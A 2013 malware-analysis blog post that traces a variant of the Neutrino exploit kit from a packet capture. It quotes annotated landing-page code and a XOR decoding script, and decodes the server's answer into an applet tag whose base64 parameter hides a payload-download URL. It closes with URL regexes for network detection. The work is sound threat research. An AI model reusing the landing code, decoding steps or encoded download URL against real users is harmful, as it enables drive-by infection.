Monday, July 29, 2013

Yet another encounter with Neutrino EK

Neutrino has worked its way to be my favourite EK. No good reason for it but it is a nice kit to analyze. As I got pinged on a case from @node5 via @MalwareMustDie once again I got curious if there where changes. And since I have been quite busy lately I thought it would be a good opportunity to write up a small analysis so my blog would not die off entirely.

Any changes? The landing has changed since my last analysis, but our good folks over at MMD have taken care of that update in their "Knockin' on Neutrino Exploit Kit's door..."

So to the case at hand:
@node5 saw a change in the landing on the 26th of July (pastebin) cleaned up and explained by MalwareMustDie (pastebin)  Added here for completeness:

// #MalwareMustDie!
// My personal note..
// New form of Neutrino EK landing page?
// A quest! Where's the XOR data now? :-D
<script src='xsvhwjx.js'></script>
<script src='qmqsfiutp.js'>
</script><script src='hrcl.js'></script>
<link href='xbbcukphokdo.css' rel='stylesheet'>
<link href='nhpgbsrcogf.css' rel='stylesheet'>
<link href='bbehoufqwh.css' rel='stylesheet'>
<script src='gdhclsjileqh.js'></script>
<script src='nrezixfqsy.js'></script>
<script src='sgxvswm.js'></script>
<script src='ztblmkuxokfcyxgy.js'></script>
<script type="text/javascript" src="index.js"></script> // <=== @malwaremustdie: Plugindetect??
<script src='dwwccp.js'></script>
<script src='zkbvwzvq.js'></script>
        "eyhuui",        // <== @malforsec & @malwaremustdie: OK this is the key :-)
        "uvkotuiae",    // <=== @malwaremustdie: POST command value
 function rq(a,c,f,e,g)
   var d=PluginDetect.getVersion,b=[];  // // <== @malwaremustdie: PoC of PluginDetect v0.8.0
   a[e]=c;                                        // <=== c = "51f2394faaa2cc390a075f4c"
   a[g]=encodeURIComponent(www(b.join(";;;"),c));  // <== @malwaremustdie: Assembling the POST query.
     $("body").append(www(decodeURIComponent(a),c)) // <== @malwaremustdie: A DAT www is XOR function.
 function www(a,c)        // <=== @malwaremustdie: XOR function name in camouflaged
   for(var f="",e=0,g=0,e=0;e<a.length;e++) // <=== @malwaremustdie: XOR logic
   return f
 function office_ver()
   var a=0,c=0;
     a=new ActiveXObject("SharePoint.OpenDocuments.4")
     c=new ActiveXObject("SharePoint.OpenDocuments.3")
   }  // <=== @malwaremustdie: here goes the exploit payloads access...
   return"object"==typeof a&&"object"==typeof c?"2010":"number"==typeof a&&"object"==typeof c?"2007":null
@unixfreaxjp ~]$ date
Sat Jul 27 01:17:40 JST 2013

Small changes as we still can see the Host id, xor key and the end of the post url is still in there.  See my previous posts on the landing "Neutrino landing page demystified" and "Neutrino landing page change". Also we still see lots of rubbish GET requests.
As I got pcap on this lets go through it:


POST request:

 Info from the PluginDetect is Posted to the server xored and URLencoded.
The answer gzip decoded:


This is also xored and UrlEncoded. I have made a nice little Javascript to decode the answer:

@malforsec JS to decode Neutrino POST answers
function xor(input, pass) {
  var output = "";
  var i = 0;
  var pos = 0;
  for (i = 0; i < input.length; i++){
    pos = Math.floor(i%pass.length);
    output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
  return output;

var stranswer = "Y%18%18%05%19%0C%11Y%09%07%16%01%0C%0F%0DHR%01%11%0D%18OZF%0D%1A%0B%04%1F%1F%08%17%01%0C%1B%10%15%1A%0B%0C%5B%0D%0B%0A%09%19%1C%08%16W%0B%1A%18S%5DIXEZ%04%1F%1B%1A%05%18%0B%0B%03%0DJ%19%06%0B%13%02%19%0C%08%03%0F%0AH%16%0A%09%0D%0A%0D%11%0E%0D%5EH%16%1A%0DDO4%05%05BY%1F%1C%11%1D%0DDODENE%11%0D%1C%12%01%11DODEN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%0D%0D%10%0ABY%1E%14%19%1CDO%14%3D%3BU%1A%2C%1A%03%25W%11%02%2CF%2F%14%1D%05D%08%3D%15%1D%10-%2B%0F%20%5B%1E3%22L%12%2C%22%11%15%20080W%40%1C%3A%1F%0E%124%2C4%03%08%0B3%1D%16G%1D%13%1A%5B%1DC%0B%22%0EG%172%5C%0F%1B%5B%05%190%0B%15%18%11G%5CW%29%3F%3B%1F%0B-%2B%01%102%3B%0B%18%29HHN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%10%1E%10%10BY%1E%14%19%1CDO%07%06%1A%13%5EV%7F%7C%60lpTZ%14%19%15%15%0D%01Kclp";

Just change the xorkey and the POST answer string and you are good to go.

This gives us readable output:

<applet archive='hxxp: //' code='Apl' width='10' height='10'>
   <param name='exec' value='aHR0cDovL2hjY3Fqdm1uaXlueXBjY3kuZG5zYWxpYXMuY29tOjgwMDAvanJuc2tvc3h6bGw/bG5jb3plYnlpd252PWNjbHRieGRnaA=='>
   <param name='xkey' value='rssv'>

The important info to take with us here is the "xkey" parameter value. We will need that to decode the binary later. So remember the value "rssv"

JAR request:

Binary request:

With little changes to Neutrino I just grabbed my python script to decode Neutrino binaries and had a look if that still worked(Just remember the xor key from the applet tags "rssv"). You can find it here

Worked like a charm :) Always nice when hard work done earlier pays off, ain't it...

For the record Virustotal results for the JAR and EXE:

JAR: 5/46  Link
EXE: 35/46 Link


For those who need detailed detection of Neutrino on the network. The URL's have changed again(expect them to continue changing) as before only the first chars in GET variables and values have changed:

landing: /s[a-z0-9]{1,16}\?d[a-z0-9]{1,12}=[0-9]{7}$
JAR: /m[a-z0-9]{1,11}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$
EXE: /j[a-z0-9]{1,16}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

Thanks to @node5 for providing pcap and to @MalwareMustDie for pinging me.

PS: The URL change is also confirmed with pcaps that I have received from @urlquery. Thanks for for sharing those!

UPDATE 20130807:
@Set_Abominae catched, yet another, change in the URL pattern: pastebin

Keep on having fun analysing and detecting Neutrino EK :)